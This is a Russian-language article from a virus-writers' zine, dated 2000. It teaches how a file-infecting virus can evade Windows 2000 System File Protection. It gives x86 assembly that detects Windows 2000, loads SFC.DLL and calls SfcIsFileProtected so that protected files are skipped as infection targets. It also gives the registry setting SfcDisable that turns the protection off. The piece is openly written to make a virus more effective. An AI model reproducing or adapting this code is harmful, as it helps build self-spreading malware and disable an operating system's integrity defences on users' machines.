![]() |
![]() |
![]() |
Решил я как то раз написать вирус который бы работал под Win2000, но столкнулся с проблемой. Эта проблема заключалось в том что вирус когда пытался заразить файлы под Win2000 некоторые из них выдавали сообщения в стиле обломись... Потом от benny я узнал немного о SFP и вскоре я нашел интересную толзу (по моему на elicz.cjb.net) которая отключала SFC. Я поговорил с автором он мне много рассказал про SFP и прислал исходник програмки... Итак как отключить SFC, как узнать файл протект или нет и многое другое... Несмотря на то что про это писал GriYo я все таки решил описать это на русском и по своему. Хочу сказать большое спасибо: mort, benny, Elicz. Итак о галимой защите в 2000 виндах... 1) Для начало вашему вирусу надо проверить в какой операционной системе он работает: call GetVersion ;Получаем версию нашей операционной системы cmp al,5 ;проверим если 5 - Win2000 jne no_windie2000 ;выходим если не Win2000. 2) Потом нам нужно загрузить SFC.dll для проверки в дальнейшем на защищенные файлы. call SFC_name db 'SFC.DLL',00h ;имя нашей dll SFC_name: call LoadLibraryA ;загрузим её xchg eax,ebx test ebx,ebx ;проверим вообще если dll je NoSFC ;опз... нема mov dword ptr [SFCDLL],ebx ;сохраним для будущей работы call SFC_api db 'SfcIsFileProtected',00h ;имя нужной нам SFC API функций SFC_api: push ebx ;адрес dll call GetProcAddress ;получим api адрес функций test eax,eax je NoSFC ;выходим если ошибка mov dword ptr [SFCAPI], eax ;сохрани для вызева 3) Потом ищем файл и проверяем защищен он или нет. push имя файла ;параметр для имени проверяемого файла push 00000000h ;нули.. так над0 call SfcIsFileProtected ;вызываем api or eax,eax ;проверяем если 0 - файл незащищен, ;1 - защищен.. jnz again ;если 1 нахрен нам такой файл нужен Отключить SFP можно через реестр, это очень просто HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon SfcDisable = 01 (true) но это параметр будет работать только после перезапуска системы :( когда я дописывал эту статью elicz должен был выпустить утилиту которая должна была отключать SFP без перезагрузки... как я не знаю... ULTRAS[MATRiX] What`s my age again Март-Апрель 2000 |
||
![]() |
![]() |
![]() |